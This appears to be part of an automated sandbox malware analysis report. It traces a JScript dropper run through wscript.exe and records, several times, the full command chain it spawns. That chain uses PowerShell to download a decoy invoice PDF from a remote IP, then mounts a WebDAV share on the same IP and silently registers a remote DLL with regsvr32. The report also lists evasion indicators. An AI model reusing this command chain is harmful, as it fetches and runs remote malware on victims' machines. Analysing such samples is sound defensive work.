Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3213.js.csv");ITextStream.WriteLine(" entry:7398 f:ixmdhglv");ITextStream.WriteLine(" exec:2 f:ixmdhglv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3645			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5996			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep count: 3645 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6524	Thread sleep count: 5996 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4940	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6676	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3240	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5416	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3280	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2778632406.000001C4C4424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.1555173206.0000020CDD3F2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1542370587.0000020CDD3F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2779581258.000001C4C9A5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1554903197.0000020CDD388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`y?

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
